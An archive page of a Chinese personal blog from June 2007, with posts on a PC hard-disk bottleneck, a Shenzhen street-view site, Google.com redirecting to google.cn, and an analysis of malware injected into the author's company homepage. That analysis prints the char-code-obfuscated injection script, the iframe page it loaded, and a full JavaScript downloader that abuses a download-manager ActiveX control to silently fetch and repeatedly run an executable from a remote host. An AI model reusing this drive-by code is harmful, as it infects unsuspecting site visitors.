2007年06月 存档

瓶颈硬件

2007年06月30号,星期六

现如今, 制约你的PC跑得更快的瓶颈到底是啥?

就比如俺这台刚买1个月的, 先很不要脸地小晒一下配置:

CPU: AMD Athlon 64 X2 4000+(65nm)
主板: 华硕M2N-E
内存: Kingstone DDR II 667 1G
硬盘: 希捷 7200.10 320G (SATA, 16M 缓存)
显卡: 盈通(ATI R1650 GT, 128/128)

然后重现一下半小时以前的使用状态:
eMule: 下载速度165k, 上传50k
firefox: 一个网页
foobar 2000: 播放128k的mp3音乐
Google Earth: 正在浏览南山某个地方.

此时, 就在此时, 我做了一个很常规的操作 — 用鼠标滚轮将Google Earth的视角拉远, 以显示更多地区.

而俺的PC在执行这个操作的时候却出现了意想不到的状态 — 卡!

是的, 随着我的鼠标滚轮的滚动, 可爱的南山地区一卡一卡地出现在我的面前!!

我认为一个双核的CPU处理这么几个任务应该是完全没有问题的. 出于习惯, 我侧身朝机箱上瞟了一眼 — 血红色的硬盘灯处于100%状态.

硬盘, 果然是它.

在我构思这台电脑的配置的时候, 其实我已经为将来有可能的多任务环境考虑了很多了, 比如双核的CPU, 比如单条1G的内存(随时准备升2G), 比如强悍的主板等等. 我是千算万算啊, 偏偏没有算到你个XX的硬盘的头上来. 慢着, 我没有算硬盘么? 不. 买硬盘的时候很多人不明白我为什么非要要320G而不是300G甚至250G, 160G等等, 我的考虑, 除了更实惠的大容量之外, 就是 — 更大的单碟容量, 更高的存储密度, 更快的速度 — 难道错了么?

没错, 是比以前那块160G的PATA快些. 但也仅仅是”快些”罢了. 在P4时代已经捉襟见肘的硬盘速度, 在双核时代果然变成了如此呆傻的性能现象. 呜呼哀哉, 吾辈该如何是好, 莫非要让SCSI甚至RAID在民用PC上普及么? 抑或……

我已没有了答案.

城市吧的深圳街景

2007年06月20号,星期三

想看看我上班的地方是什么样子么?

对了, 现在你可以用你的电脑逛深圳的街了.

不记得在哪里看到过城市吧这个名字了, 印象中也没有进去过. 今天看到月光博客上说城市吧开通深圳街景地图!

按照习惯还是先打开了城市吧的主页, 而不是直接去点地王大厦什么的. 打开以后吓了我一跳, 主页正中间赫然摆着一个在线视频的框框, 框框里面有一个形体动作很像天气预报主持人的MM, 张着嘴, 貌似想要对你说些什么. 旁边找不到任何提示文字说明这段视频是干嘛的……

我个人觉得, 先不论这段视频的作用, 将它(她)直接摆放在主页的做法有失妥当, 某种程度上讲是一种不尊重. 因为受到电脑配置和网络质量的影响, 始终有一部分用户是无法观看这一段”精心”准备的视频的. 对于我个人来说, 那种强烈的要找到自己所在的地方的街景的心情和这个天气预报MM微微张开的嘴形成了强烈的反差, 致使我花了大概半分钟仍然没有看到任何”街景”(乱点上面的链接). 因为我认为, 既然是”街景”这么时髦的功能, 一定会迫不及待的show给用户看吧, 就像google map一样, 打开google map的主页就直接可以看到map了.

实在忍受不了MM微张的嘴, 还是点了播放按钮. (大意):”…欢迎来到城市吧, 我是小~C~. 为什么叫小C呢?…”(视频被我停止).

对于我这种进一个新站先要找”关于我们”的链接, 指戳了当地了解这个网站的人来说, 以上两句介绍词简直够我炒一年的醋溜白菜了(当然你想醋溜别的也可以~).

大概是通过搜索进入街景界面的吧. 心里想, 于是就输入了大厦的名字. — 果然, 楼下熟悉的招牌出现在左边的街景框中了. 哦也~

右边的地图是由MapABC提供的. 一开始只是觉得这个地图怎么和Google地图中文版那么像, 看了MapABC的自我介绍才知道原来Google地图中文版就是由他们提供的数据(一身冷汗).

恩, 继续看地图吧. 街景框支持鼠标直接拖动, 也可以用键盘上的方向键控制, 上下键控制移动, 左右键旋转视角. 千万别以为只能左右转, 还可以”仰起头来”看大厦~ 但是街景框的鼠标拖动的”手感”做的还不是那么好, 感觉它的操作机制有点像”在浏览器里按鼠标中键, 然后移动鼠标拖网页”那种的手感, 不适合精确控制, 如果能改成”CS里控制视角”那样的手感就棒了~

右边的地图支持鼠标拖动和滚轮缩放. 在地图的街道上双击, 可以看到那个眼睛图标就到了那里, loading一会, 左边的街景就出现了. 而且右边的街景中也会提示当前视角是朝向哪个方向, 方便辨认.

觉得街景的照片还是很清晰的, loading的时间也不长(用的人还不多?). 不过会不会像google的街景一样, 被人发现很多好玩的东西, 比如贼? 日光浴的美女??(后一个觉得在深圳基本没啥可能).

抓紧, 没准第一个发现外星人的就是你~

草莓啊草莓

2007年06月18号,星期一

最近一直在看草莓周刊, 实在是太有意思了.

gfw ad
(转自猫窝)

觉得这个图做的怎么样?

对了, 草莓周刊里净是这么好玩的东西.

阅读草莓, 你只需要一个会独立思考的大脑就可以了.

真的转向了

2007年06月17号,星期天

之前一直听很多人说, 在他们那里用google.com搜索, 却自动转向了google.cn的搜索结果. 那时我这里还一切正常, 只是在大墙抽风, google.com临时撞墙的时候, 才会转到.cn的结果, 并且还有句提示, 貌似是”google.com暂时无法访问, 以下搜索结果来自于google.cn”云云……

但是从昨天开始, 我惊奇地发现, google.com的搜索结果貌似已经无条件地转向了google.cn,并且没有任何提示信息, 就连直接输入www.google.com都会自动转到google.cn. 进一步的测试发现, 只要你在”使用偏好”中将语言设置为简体中文(也就是你的google界面语言是简体中文), 则一定会无条件转向google.cn. 但是如果设置成英语的话, 又可以正常访问google.com.

谷歌一直以来被认为是国外成功的互联网公司在中国傻B了的最佳例证之一. 也许李博士也意识到了这个问题的严重性, 于是他想了一个办法: 既然IT大牛们都不喜欢google.cn, 带着那一帮跟P虫们也讨厌google.cn, 干脆模糊掉这个概念, 让.com和.cn在中国大陆地区”浑然一体”. 除非您是来到中国的外国朋友, 那么您可以选择您习惯的英文, 并且使用google.com. 至于国人, 大多数应该不至于因为.com和.cn的”小小区别”而委屈自己整天看洋文吧? 哈哈, 那好, 诸位使用中文界面的朋友们, 现在你们可以不知不觉地使用俺们.cn的服务了. 而且, 是连个提示都没有的哦~ 你丫要是不注意看地址栏, 没准还真觉得没啥区别呢. 哦, 对了, 搜索结果最底下时不时的来一句”据当地法律法规和政策,部分搜索结果未予显示。”, 算是给你个小小提示了.

google长期提供两个同为中文界面的搜索服务, 一个是设置为中文界面的google.com, 另一个是google.cn. 但是自从google.cn诞生以来, 一直都是以一个独立的形象出现的. 比如”google.com暂时无法访问, 以下搜索结果来自于google.cn”这种的提示, 虽然显示出.com和.cn之间的联系, 但是还是很明显地”区分开了”. 现在李博士的策略(施密茨的策略?)就是取消独立的.cn这个概念, 天下google是一家. 其实在之前, .com和.cn之前的差异, 也主要体现在”审查”这个问题上. 比如用.cn搜索GFW, 约有44项符合, 并且在最下面给出了”据当地法律法规和政策…”字样; 而用.com(英语)搜索GFW, 约有4,050,000项, 并且还有一支代码为GFW的股票. 但是换个角度想, 现在功夫网已经变得无比强大了, 那些用.com搜得到而.cn搜不到的东西, 不是已经被墙, 就是迟早被墙的, 还玩个P? 当然, 如果你是个连带tor都会的人, 估计……估计用tor的时候是不会自动转到.cn的. 大概这个策略的深层含义就在这里吧, 用简单的方法将鼠标用户和带tor愤青们区分开来……

好了, 我已经全明白了. 我们已经得到了足够好的搜索结果了, 如果真的有特别的需要的话, 我会自己想办法的.

李博士, 你啥时候follow your heart的时候, 记得叫上俺~

补记: 今天白天在公司发现没有自动转向, 以为是电信线路还没转(家里是天威的), 但是晚上回家发现也不转了. 难道是李博士看到了俺们的blog??

就那样告别的2005

2007年06月16号,星期六

今年是2007年, 2005已经过去2年了.

可能是人一搬到一个新的地方, 就会很自然的想起以前的事情吧. 这两天弄好了新的blog, 正好又整理了一下照片, 就突然想起来了.

那是个很疯狂的2005, 我都不记得我们是怎么完成那个不可能的任务. 那一次我们赢了, 赢的很爽. 我时常在想, 我还能不能再那么爽地赢一次. 那一次, 我们战胜了时间, 战胜了资源, 战胜了自己, 战胜了一切. 我们无敌了.

莫非那真是生命中再也无法复制的片段?

现在的自己, 仿佛再也找不回那种冲劲, 一切都在按部就班, 一切都似是而非, 一切都很好, 也都很坏.

但是不要怕, 因为总会再开始的, 总会再来的, 总会再和你们相聚在一起.

抓”鬼”记

2007年06月11号,星期一

周六在公司值班的时候, 老大打电话给公司市场部的人, 说是我们公司的主页好像有问题, 可能被人放了病毒了.

我于是打开公司的主页看了一下. 可能是因为我用的是firefox, 没有什么明显的症状(老大那边说会弹出OutLook). 看了一下源代码, 还比较仔细的把里面的script从头到尾捋了一遍, 最后发现那个放病毒的人很没有技术含量地把这段script放在了最下面:

t='60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,118,105,112,46,121,51,49,52,46,99,111,109,47,97,100,47,49,46,104,116,109,32,119,105,100,116,104,61,49,48,48,32,104,101,105,103,104,116,61,48,62,60,47,105,102,114,97,109,101,62';
t=eval('String.fromCharCode('+t+')');
document.write(t);

很明显 — 将要插入的代码翻译成ASCII码, 并用逗号隔开放在变量t里面, 再调用String.fromCharCode()方法将这些ASCII码转回成字符串, 最后document.write()写入到HTML代码的最后.

简单的用PL/SQL写了个翻译脚本, 翻译出来的内容如下:
(请勿访问其中的网址!!)

<iframe src=http://vip.y314.com/ad/1.htm width=100 height=0></iframe>

到这里, 其实已经很明显了. 果然, 用Google搜索这个二级域名, 可以看到Google提示该网站可能会损害您的计算机.

本来到这也就算差不多了, 但我就是想再挖深一点, 于是把上面那个iframe指向的页面用Flashget给下了下来…

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" />
<title>没有此页面</title>
<script language="javascript" src="http://count34.51yes.com/click.aspx?id=349985552&logo=1">
</script>
</head><body>
肌南迷傩艩仍吞犘章躺脿壮茂阅犎酝虪串氨盼㈣趑鸷鼢鳟鞒蜱爷梏盱疮篝蜷泗翡⒕娂仍吞炯扰聊炯陨蕴啪无法找到该页集陨蕴啪娂团粤犎栽协叛丈纸⒚镱翦铘澧犆镱翦铘舰翦繇旎犮栳蝮弭角虏潮并緤加再膛狋褰Ⅳ屮舣泱螈緤牋孪馁狖犳镱艉牴痿拆魻宋体狚姞犎睜麪骘铘籂辈痿叼魻宋体狚姞犎矤麪骘铘籂桂舣辈痿犓翁鍫龏牋梁扉铍狖犮镬矧籂蝈錉龏牋梁鲩箝翦錉麪泔祜蚝犿狎镲顮龏集釉偬啪娂帕木悸夏倬荚谅膛狑殇翳降鞍犫矧溴蚪盃沐祆箴徙轭缃卑炯砸炯阅緤奸骝犴鍫篁憬Ⅵ轲碑梏恝狑殇翳舰阿犺彘玷艚怙蜾弪舰阿炯骝犴寰娂殒蜥礤狊蜚舰鲩鸩繇鏖漪杞桢殓梏舰阿犫矧溴蚪⒕集殒蜥礤緤奸骝犴鍫篁憬Ⅵ轲繇鏖漪杞⒈鞍桢殓梏舰阿犫矧溴蚪⒕集殒蜥礤緤艰本无法找到该页集璞緤您正在搜索的页面可能已经删除、更名或暂时不可用。娂栩緤拣厩氤⑹砸韵虏僮鳎杭緤减炀娂扉救繁d榔鞯牡刂防钢邢允镜耐镜刂返钠葱春透袷秸肺尬蟆<榫娂扉救绻üセ髁唇佣酱锪烁猛常胗胪竟芾碓绷担ㄖ歉昧唇拥母袷讲徽贰集扉緤检榫单击坚犺蝈娼㈥狯狍泸轲艉栝篝矧忉汶ū竞笸思景磁コ⑹粤硪桓隽唇印<榫娂炀娂璨救栽袪错误牬按牠犖募蚰柯嘉凑业健<怛旧铘弪铄魻信息服务牗缮萤集璨緤艰蚓娂鹁技术信息(为技术支持人员提供)集鹁娂蹯緤检榫转到牸釥栩彐舰梏麴函锂黹泸矬镦舢泔懑骥扉铍扉铍殇礁备阿就殂蝻箫骠牪分С址窦静⑺阉靼é熹聃锘仍孕︱漶躏缓挺熹聃锘窗处蜾聃锘的标题。集扉緤检榫打开漶躏簧捎牥镏蜾聃锘(可在犐捎牴芾砥鳡ㄩ铄繇珧中访问),然后搜索标题为漶躏煌旧柚忙蜾聃锘、漶躏怀9婀芾砣挝瘭蜾聃锘和漶躏还赜谧远ㄒ宕砦笙ⅵ蜾聃锘的主题。集扉緤集蹯緤娂木集砸炯谅膛炯夏倬集仍吞緤俭泸轲魻豉疱舰翦筱蜷痿⒕骢钽糸镱犻铋舁麪滹沲礤铘蜷翦áⅸ积鏖钿秣铎镝錉綘轭轸患泸轲艟
</body></html>
<iframe src=xl.htm width=1 height=0></iframe>
<script language="javascript" src="http://count32.51yes.com/click.aspx?id=320449568&logo=1">
</script>

中间从”肌南”开始的一大段乱码, 不知道为啥要整成那样, 反正大概就是要模仿一个”该页无法显示”的东西吧. 最上面和最下面的script貌似是指向51yes的计数器, 反正51yes计数器在Google眼里也不是什么好鸟. 倒数第二行又有一个iframe, 指向同一网站的另一个页面, 并且从设置的大小来看, 也是属于不准备给人看的. 同样, 将xl.htm下载下来:

var thunder_server=null;
var id_file=0;//记录下载任务id

//初始化控件,返回1表示安装了web讯雷,0为出现错误
function init()
{
	try
	{
		thunder_server = new ActiveXObject("ThunderServer.webThunder.1");
  	}
  	catch(e)
  	{
   		//alert("init activex failed");
   		return 0;
  	}
  	return 1;
}

////////////////////////////////////注意,核心函数////////////////////////////////////////
//////////成功执行后函数返回添加的下载任务的id,否则,返回1///////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////
function downfile()
{
	thunder_server.SetConfig("MessagePanel","DownloadComplete","0");//下载完毕后无显示面版
	thunder_server.SetConfig("Sound","DownloadComplete","0");//下载完毕无声音
	thunder_server.ShowBrowserWindow();
	//thunder_server.SetBrowserWindowSize(0, 0, 0, 0);
	//不添加的话thunder_server.AddTask()就不会成功被执行,郁闷.........

 var szURL=  "http://www.onlinek.net/ad/log/1.exe";
	//需要下载的程序的URL
	var	szFileName="test.exe";
	//另存为的文件名
	var szSavePath="d:";
	//szSavePath=thunder_server.GetServerPath();
	//另存为的路径
	var	szComments="";
	//注释
	var	szRefURL="";
	//引用URL
	var	nStartMode=1;
	//0为手动开始,1为自动开始
	var	nOnlyFromOrigin=0;
	//只从原始地址下载,0为否
	var	nOriginThreadNum=5;
	//下载程序的线程数
	var	nIsNeedAccount=0;
	//是否需要登陆,0为无需登陆
	var	szUserName="";
	//登陆用户名
	var	szPassword="";
	//登陆密码
	var	szTaskClass="";
	//下载任务的类别,如“其他”,“软件”,“游戏”,“影视”等等
	var	szCID="";
	//下载讯雷资源时才用到
	var	nIsAddUncompletedTask=0;
	//看名字就知道
	var	szStatURL="";
	//thunder_server.SetVariable("DoIntelligentName", "");
	//调用AddTask()方法开始下载目标程序
	var retStr = thunder_server.AddTask(szURL, szFileName, szSavePath,szComments, szRefURL,
						nStartMode, nOnlyFromOrigin,nOriginThreadNum,
						nIsNeedAccount, szUserName,szPassword,
						szTaskClass, szCID, nIsAddUncompletedTask, szStatURL);
    	thunder_server.HideBrowserWindow(1);
    	//调用AddTask()方法后立即关掉打开的下载窗口
    	var ret_code = new Number();
    	var ret_msg = new String();
    	var aryStr  = new String(); 

    	if (retStr.length > 0)
    	{
  	    aryStr = retStr.split("{\r*\r}");
	    ret_code = parseInt(aryStr[0]);//记录添加任务结果,0为添加成功,1为出现错误,100为重复URL
	    ret_msg = aryStr[1];//正确执行后为添加的下载任务的id值
    	}
    	else   //失败
   	{
   		return 1;
   	}
   	if(ret_code==1)return 1;
   	return ret_msg;
}

//运行下载后的文件
function open()
{
	thunder_server.OpenFile(id_file);

}

function exec()
{
	var ret=init();
	if(ret==0)return;
	id_file=downfile();
	var i;
	for(i=0;id_file==1&&i<50;i++)id_file=downfile();
	if(id_file==1)return;
	//若出现错误则一直调用downfile()函数直到成功为止!!
	setInterval("open()",5000);
	//搞了半天没有搞出下载完毕的回调函数,
	//只能5秒为间隔的运行下载的程序。
	//若文件没有下载完毕,调用open()函数时文件并未运行
}

搞到这里我真的很想笑了……多么用心编写程序并添加注释的程序员啊, 为啥要去搞这些事情呢……

具体到这个”假装”是htm其实是javascript的东西, 重点就在于www.onlinek.net网站上的那个1.exe可执行文件. 到了这一步我可是不想再继续了, 鬼知道那个1.exe是啥……

最后, 在whois上查了y314.comonlinek.net两个域名的注册信息. 巧合的是他们都是在2006-09-17注册的, 并且都是1年, 还有, 留的传真号码也是一样的. 顺着这个电话号码找到的居然是一个叫艾美摄影化妆学校的地方(电话留在最下面).

y314.com注册信息里那个手机是东莞的.

最有意思的是y314.com注册信息里那个邮箱, 用这个邮箱可以搜到很多东西(Google还有百度). 可以看出这个人学了一段时间asp, 后来大概是到东莞来找工作了吧. 不确定onlinek.net是不是也是他注册的.

好玩么, 同学?

还是重新开始吧

2007年06月11号,星期一

想了一下还是把导入的以前的文章都删了.

这里需要成为一个新的开始, 一个New Record, 新的记录.